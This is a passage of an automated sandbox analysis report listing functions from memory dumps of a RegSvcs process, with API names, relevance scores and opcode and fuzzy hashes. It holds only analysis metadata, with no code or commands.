Instruction Fuzzy Hash: E311F6B6C00349DFDB10DF9AD984ADEFBF4EB88710F14841AD519A7200C379A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0163EED8 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 0163EF3F

Memory Dump Source

Source File: 0000000E.00000002.3305995710.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1630000_RegSvcs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: c1e5e3040f194153ca018dc352bcb4754d53181ba07634485af5dd1074dfa128
Instruction ID: d33c5fd427331c7e7ff949bc4600193964776df40422debbfcc3c914a1c8f2d0
Opcode Fuzzy Hash: c1e5e3040f194153ca018dc352bcb4754d53181ba07634485af5dd1074dfa128
Instruction Fuzzy Hash: 981112B1C006599BDB10CF9AC844B9EFBF4AF48720F15816AD918A7240D378A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06AEB908 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 06AEB96E

Memory Dump Source

Source File: 0000000E.00000002.3314136263.0000000006AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ae0000_RegSvcs.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 0e58737c84279f88afe952ee48cf2f6f4e8c8d692b3560c0590a6d4483f353fc
Instruction ID: 8ba5d733f7813c040503a5f7f13dd77111ff3559ef2413bfa85b93d67f49e365
Opcode Fuzzy Hash: 0e58737c84279f88afe952ee48cf2f6f4e8c8d692b3560c0590a6d4483f353fc
Instruction Fuzzy Hash: A011E0B5C00749CFDB10DF9AC544ADEFBF4EF88614F10851AD469A7210C379A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06F21630 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 06F2251D

Memory Dump Source

Source File: 0000000E.00000002.3314651314.0000000006F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6f20000_RegSvcs.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 3b48b6c6ab714efc83796df5b6f27aa332903c827886c3f3e55a8b68367b6889
Instruction ID: 65416358b126514c36f609e9a55203c3b32ffe3b9ac592f58980edbbb295ab3c
Opcode Fuzzy Hash: 3b48b6c6ab714efc83796df5b6f27aa332903c827886c3f3e55a8b68367b6889
Instruction Fuzzy Hash: 2E1115B1800759CFDB50DF9ED449B9EBBF4EB48310F108459D519A7300C378AA44CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06F224C0 Relevance: 1.5, APIs: 1, Instructions: 45comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 06F2251D

Memory Dump Source

Source File: 0000000E.00000002.3314651314.0000000006F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6f20000_RegSvcs.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 608dd8df8ee1212a435e99202303910a3d0a746d12888b6f708530edafbbc941
Instruction ID: b24a6dedff89253bb5965d724c80b5cd7522fda068d0d60037f95c2dd9b9e6f2
Opcode Fuzzy Hash: 608dd8df8ee1212a435e99202303910a3d0a746d12888b6f708530edafbbc941
Instruction Fuzzy Hash: 601115B5C00349CFDB20DFAAD845BCEBBF4EB48720F108559D529A7240C379A644CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06B0CFF8 Relevance: .8, Instructions: 799COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a19eebc54319cec1945854b53574da2e7e087da3618e7500a5de7b2dd28a97cd
Instruction ID: 9ae52383421b936180f78a5cf177694dc48ea58a5abbfd33be5a5665ed42a535
Opcode Fuzzy Hash: a19eebc54319cec1945854b53574da2e7e087da3618e7500a5de7b2dd28a97cd
Instruction Fuzzy Hash: AE621C70B0020ACFDB55DB78E594A9DBBB2FF85340F208A69D1059F295EB75EC46CB80

Uniqueness

Uniqueness Score: -1.00%

Function 06B0B708 Relevance: .5, Instructions: 470COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 989c219843f8fc597442111288bd90c26f41409659b3e46140c6735cd8cab125
Instruction ID: 79f3ab13c4247686996a8ae8f5d1b3c03b7ddb71adc719aac418cbe0a346cef0
Opcode Fuzzy Hash: 989c219843f8fc597442111288bd90c26f41409659b3e46140c6735cd8cab125
Instruction Fuzzy Hash: F6025F70E1020A8FEFA4DF68D4846ADBFB2FB45310F2095AAD415DB295DB36EC41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06B0AD88 Relevance: .4, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb93acfdcd509b41839004f58bbd8d9b0a33ca0448816f3720809b7367222fb4
Instruction ID: 4a567c203b74bea440fe4645f0de2130c4c6c2d0dd120b2eea222aaea635847d
Opcode Fuzzy Hash: cb93acfdcd509b41839004f58bbd8d9b0a33ca0448816f3720809b7367222fb4
Instruction Fuzzy Hash: 96E17F70F1020A9FEB54DB68D8546AEBFB6FF89300F208969D405EB395DB359C46CB81

Uniqueness

Uniqueness Score: -1.00%

Function 06B09210 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd3f0ac77125a7d2d0e1013ec047b1dbd4d13aa7910fa1b5ba13973ae225fcdb
Instruction ID: fda7354deb6e335da5bf5dd1ea370ca588782de8010927d6d4abbf8f74a9ee1f
Opcode Fuzzy Hash: fd3f0ac77125a7d2d0e1013ec047b1dbd4d13aa7910fa1b5ba13973ae225fcdb
Instruction Fuzzy Hash: C2917370B0111A9FEB94DB68D850BAE77F6FFC9300F1095A5C409AB395EB34DC428B90

Uniqueness

Uniqueness Score: -1.00%

Function 06B062B0 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 515c288de917c60a781bf251c52817cb853260fa6d06e7311a2b5d7ec906f081
Instruction ID: cb8237b366119b23c796fe21f7e7e71abf1b2aa5c4579d81a4885aa16bf0ea9d
Opcode Fuzzy Hash: 515c288de917c60a781bf251c52817cb853260fa6d06e7311a2b5d7ec906f081
Instruction Fuzzy Hash: D261B1B2F001224BDF509A7DD89466FBED7EFD4220B154079E80ADB364EE65EC0287D1

Uniqueness

Uniqueness Score: -1.00%

Function 06B0435A Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31d62cb45fd79e0ad95bd46855171a99d5a1a7ce4512661473bb05339649b736
Instruction ID: a3ff09ed2d2082e49b3e3a11118c1bc5db3b46279c98a23bb8981ff14cac29b0
Opcode Fuzzy Hash: 31d62cb45fd79e0ad95bd46855171a99d5a1a7ce4512661473bb05339649b736
Instruction Fuzzy Hash: 43813E74B012469BEF54DFA9D4547AEBBF2EF89300F108469D50ADB394EB34DC428B91

Uniqueness

Uniqueness Score: -1.00%

Function 06B04674 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4af3c51b192a94ab6a67eb7e4be716bfb1c68be4ff7c231e14bded23957b4881
Instruction ID: ed69a7515fd5dd3b38b746107fcd77429b17a3dff4390b27d3ac7699de39c421
Opcode Fuzzy Hash: 4af3c51b192a94ab6a67eb7e4be716bfb1c68be4ff7c231e14bded23957b4881
Instruction Fuzzy Hash: 01912E70E1021ACFDF60DF68C850B9DBBB1FF85310F208599D549AB295DB70A985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 06B04688 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3107f0c7f3cf0a3e616f8479f62dac29dc1c4ae39a3147207139318a5891c0ba
Instruction ID: 6015e022208bf301bae11244e2b4a0e1ae46a22f8bb4c9cecbf6775fbcb86c1f
Opcode Fuzzy Hash: 3107f0c7f3cf0a3e616f8479f62dac29dc1c4ae39a3147207139318a5891c0ba
Instruction Fuzzy Hash: 29913E70E1061ACBDF60DF68C890B9DBBB1FF89310F208599D549AB395DB70A985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06B0EFC8 Relevance: .2, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a39cec1e955e776bb6ad253570c61ce07b61ad3c10e4d31550ef724f32d6507
Instruction ID: 3ab2fd9d116d87085b2620cfed6fc660a01ac3fba2008fc1491793feffba2fae
Opcode Fuzzy Hash: 9a39cec1e955e776bb6ad253570c61ce07b61ad3c10e4d31550ef724f32d6507
Instruction Fuzzy Hash: 05711EB4B002499FDB54DFA9D990AADBBF6FF88304F148469E415EB254DB30EC46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 06B0EFD8 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 749e1fb1d6315a9a230f38afabc8f8430fd52157ab82ca19a63ef3203c171a68
Instruction ID: e88b660a86617edf8f26d4703c054eac6815c86804e6ba9f49539bf4c55a1435
Opcode Fuzzy Hash: 749e1fb1d6315a9a230f38afabc8f8430fd52157ab82ca19a63ef3203c171a68
Instruction Fuzzy Hash: C5710BB0B002499FEB54DBA9D990AADBBF6FF88304F148469D405EB294DB30EC46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 06B04C20 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57c5cd0c53ce29e5b2d2f532a42f6b27c3c62fa94bb287d8ad0ea7c09fbe5e66
Instruction ID: 7adfcf25f166c3d7374b6475bece2ccb6b67d15aba74596eba8f3d66ed3a44e0
Opcode Fuzzy Hash: 57c5cd0c53ce29e5b2d2f532a42f6b27c3c62fa94bb287d8ad0ea7c09fbe5e66
Instruction Fuzzy Hash: 8D615C71A00219DFEF549BA8C8547AEBBF6FB88300F20856AD606AB395DB754C058B91

Uniqueness

Uniqueness Score: -1.00%

Function 06B0FD29 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4de36efde4c67510576b4f421419ef6352ef34acda863445a04334a7ecbffdec
Instruction ID: cae08ed865492d3c0454b583bca3d90000a546e71040fcf9aee952efaa60b834
Opcode Fuzzy Hash: 4de36efde4c67510576b4f421419ef6352ef34acda863445a04334a7ecbffdec
Instruction Fuzzy Hash: EB512370F01109DFEB64AB78E4846BDBFBAFB85311F1088A9E516D7290CB349846CB81

Uniqueness

Uniqueness Score: -1.00%

Function 06B0FAD7 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8dff15e9d7258315961f2c75ff12384250a2f3a3f328892dc356b5bc9104e096
Instruction ID: 17df380221f78babe547490b2746c0bd0ab95c06df50a4e8d770a2583c453556
Opcode Fuzzy Hash: 8dff15e9d7258315961f2c75ff12384250a2f3a3f328892dc356b5bc9104e096
Instruction Fuzzy Hash: 945189B0B101049BFF74566CE86477F3E6EE79A310F20456AE90AC73D5C96DCC818BA1

Uniqueness

Uniqueness Score: -1.00%

Function 06B091FF Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a424c38319881837c1e7a825df381af8d2d09de4651c2afb10ee30b1de310f4e
Instruction ID: 3975748636472bb7667afa4e853513e6a28dd3cab0d34fc9b3193ccc80e94a10
Opcode Fuzzy Hash: a424c38319881837c1e7a825df381af8d2d09de4651c2afb10ee30b1de310f4e
Instruction Fuzzy Hash: 33514E71B011469FEB94EB78E890B6E77F6FBC9300F149469C4099B395EA34DC428B91

Uniqueness

Uniqueness Score: -1.00%

Function 06B0FAE8 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f3e47e5ed9a13735a0146352182121af051b2be487de0953a44f482c780f3fc
Instruction ID: f151519d318ed9fb24cf90032c5ed921572a67a6fe43d3a17faf488c6bfed3ca
Opcode Fuzzy Hash: 9f3e47e5ed9a13735a0146352182121af051b2be487de0953a44f482c780f3fc
Instruction Fuzzy Hash: 465196B0B101049BFF74566CE8A477F3D6EE799350F20456AEA0AC73D5C969CC814BE2

Uniqueness

Uniqueness Score: -1.00%

Function 06B054C8 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8148ddb496ff49c35f83578f66193441941dc7409077bd219289dd1230e0833
Instruction ID: a99bc03a691a149e590065f091e60eb6803248c9c449076c41ffba018950e026
Opcode Fuzzy Hash: d8148ddb496ff49c35f83578f66193441941dc7409077bd219289dd1230e0833
Instruction Fuzzy Hash: 874170B6E006099FEF70CEA9D9806AEBFB2FB45210F10596AD255D7680D330E845CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06B04C10 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dbd07de75cccc9bbd87549314b6d9c1eb8a4a2dc671569c1f2c004dcb110ad1
Instruction ID: f473d90ac52c8e3d7e08af7b2710cd1adaf27ade4c3d448c6ddab2535dac83c4
Opcode Fuzzy Hash: 1dbd07de75cccc9bbd87549314b6d9c1eb8a4a2dc671569c1f2c004dcb110ad1
Instruction Fuzzy Hash: EC415B70A00219DFEB549BA9C814BAEBBF6FF88300F208569E106AB395DB755C01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06B0DB6D Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb71748c242ee0425678a15d1e02abb12bfe78caa345ab8d3f5688659e38461f
Instruction ID: 978ed4887c759b467f9c41740f9763401fb7081b31ddee51cde13c5a80ba2a8d
Opcode Fuzzy Hash: eb71748c242ee0425678a15d1e02abb12bfe78caa345ab8d3f5688659e38461f
Instruction Fuzzy Hash: 9F418170E1020A9FEB64DFA5C89469EBFB2FF86340F204569E402DB2C0DB74D846CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06B0228D Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5202a9b29b68caa9f28f6103d48952020b942946acc095fd2f90db4be1bfa5cf
Instruction ID: afeac7cc1e856337392340cf5071b4907cc22197b235bea6e57d5589142fd360
Opcode Fuzzy Hash: 5202a9b29b68caa9f28f6103d48952020b942946acc095fd2f90db4be1bfa5cf
Instruction Fuzzy Hash: 1731AC30B002068FEBA99B74D4A866E7FF6EF8E200B5444A8D406DB395DA35DD49CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06B022A0 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 548a665f0ab973992dc021f7d9b68444e1f52fc54c8fd205d2a36541c63c34bc
Instruction ID: dafcc7d6f306af594c091da19cf14265c6ef52a72291775dd06193a1a9e639b2
Opcode Fuzzy Hash: 548a665f0ab973992dc021f7d9b68444e1f52fc54c8fd205d2a36541c63c34bc
Instruction Fuzzy Hash: 89318B70B002068FEBA89B74D46866E7EB6FB8D640F6044A8D406DB394EE35DD498BD1

Uniqueness

Uniqueness Score: -1.00%

Function 06B0DA21 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a262c2af3e5acb945b23c8b0f6814626777186a69cea87eff909ac6ed02db564
Instruction ID: aa6217f03f928d9cd1fce5ef270f2b70bfc276e404d73a831895c0b0826a6c7e
Opcode Fuzzy Hash: a262c2af3e5acb945b23c8b0f6814626777186a69cea87eff909ac6ed02db564
Instruction Fuzzy Hash: 37318B70E1021A9BDF24DFB8D9507DEBFB5FF85300F104569E501EB280EB70A9468B90

Uniqueness

Uniqueness Score: -1.00%

Function 06B02153 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2a0775119bcb144acf054f09910d90654c0895b2b28fd1dac36370b4afa3c26
Instruction ID: 5777e8dad25626df424bf76785b4fbd87c9ce904d3c7cf11c1fed9b4e126ff05
Opcode Fuzzy Hash: e2a0775119bcb144acf054f09910d90654c0895b2b28fd1dac36370b4afa3c26
Instruction Fuzzy Hash: 1E316D70E102169FDB55DFA4D85869EBBB2FF89300F108569D906EB390DB30AD46CB80

Uniqueness

Uniqueness Score: -1.00%

Function 06B02160 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5712e42fc4395a290c010c46870dd90bcb74cd9b3607cbebea681051c81fa64f
Instruction ID: 169f6277b22ca2992d8ac5e2412265292eaa7a2b11968e6b13fdd64119655b6a
Opcode Fuzzy Hash: 5712e42fc4395a290c010c46870dd90bcb74cd9b3607cbebea681051c81fa64f
Instruction Fuzzy Hash: 6A319070E102169FDB59DFA4D85869EBBB2FF88300F10C569E906E7390DB30AD46CB40

Uniqueness

Uniqueness Score: -1.00%

Function 06B03F60 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b162a8a0c3c415126fbfd6d38874af6e8e4a3db51961aaa4b1818e386f737e5
Instruction ID: 2fca6283d6fe996eed8423fac628b0427c0514172c7ed89a5dd37da99627d961
Opcode Fuzzy Hash: 9b162a8a0c3c415126fbfd6d38874af6e8e4a3db51961aaa4b1818e386f737e5
Instruction Fuzzy Hash: 5931A275F012059FEB50CFA8E980AAEBFF5EB88310F045069EA05E7390E735E8018B90

Uniqueness

Uniqueness Score: -1.00%

Function 06B03F70 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a6568f57f981da7d7ead89c4bb5c592fe1eef0ca1eba8fef0550902d1b56ea6
Instruction ID: aacefb856c89f19d9ac18e54bf94e494b483e99f0c524c763fdb28804639fb10
Opcode Fuzzy Hash: 4a6568f57f981da7d7ead89c4bb5c592fe1eef0ca1eba8fef0550902d1b56ea6
Instruction Fuzzy Hash: 42218175F012159FEB40CFA9E980AAEBBF6FB88310F105069E905E7390E735DD008B90

Uniqueness

Uniqueness Score: -1.00%

Function 0159D210 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3305584054.000000000159D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0159D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_159d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab519c2fbf1373033c877f8f6d76274f4c0a7867d6663533ad9d050f3668bb9b
Instruction ID: 211360ba1ac7421d7797932d1b1cc446beac1ed231cc0736ff280ff5c615682b
Opcode Fuzzy Hash: ab519c2fbf1373033c877f8f6d76274f4c0a7867d6663533ad9d050f3668bb9b
Instruction Fuzzy Hash: A421D672504244EFDF05DF94D9C4B2ABFB5FB88324F2485A9E9090F246C336D456CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 06B03511 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 525623eb8dd5cf84a754fea5610f9bcf2a892e79a52daa036ac8bad6d8358d7a
Instruction ID: 84ba1c67a0a54e695e3a830eecbbc243503a627344f62cec567185f518afb53d
Opcode Fuzzy Hash: 525623eb8dd5cf84a754fea5610f9bcf2a892e79a52daa036ac8bad6d8358d7a
Instruction Fuzzy Hash: EE21C374E0021A9EDF989B78D8546DEBFF5FF89300F0045A9D506EB250DA31D941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 015AD030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3305672148.00000000015AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_15ad000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83ad4c31d5cd2596107858ceada61b8ae39ea855e61cfa30cb0ab1c641bbb482
Instruction ID: 969bdf990297693333a32b6ec30bbef98017b44f6b202e09220f453ad075b2f0
Opcode Fuzzy Hash: 83ad4c31d5cd2596107858ceada61b8ae39ea855e61cfa30cb0ab1c641bbb482
Instruction Fuzzy Hash: EB213475684204EFDB11EF58D9C0B2ABBB1FB84314F60C96DD9090F642D33AD847CA62

Uniqueness

Uniqueness Score: -1.00%

Function 015AD006 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3305672148.00000000015AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_15ad000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac6b4274286d7ed0f044fa74e5db0ee9dc5a7c9fb28fdd574daca6c41eeff6d7
Instruction ID: a9fdb6d1ea75e5a11b7d81787c5e8b536eae333e2015c88875db2005f2a079c3
Opcode Fuzzy Hash: ac6b4274286d7ed0f044fa74e5db0ee9dc5a7c9fb28fdd574daca6c41eeff6d7
Instruction Fuzzy Hash: 88218D751493C09FC703DF64D990715BF71BB46214F29C5DBD8888F6A3D23A980ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 06B042B9 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e28f836d55698a9834a2d5fe2c50b6cfddfcdeb7752ad48bf1feb1132f0105c5
Instruction ID: b093366825b7e4d400a71a448a9232d6fa4d4994392aa1e1bc23ab2abd321e57
Opcode Fuzzy Hash: e28f836d55698a9834a2d5fe2c50b6cfddfcdeb7752ad48bf1feb1132f0105c5
Instruction Fuzzy Hash: BB0128B1B111505BEFB5957C981075FBFDAEBCA310F148879E60AC7390DA61DC028392

Uniqueness

Uniqueness Score: -1.00%

Function 06B04080 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9158e8219dd3b9253911c245b3e25de1c461caaee7c2e88480c5da705af4fa39
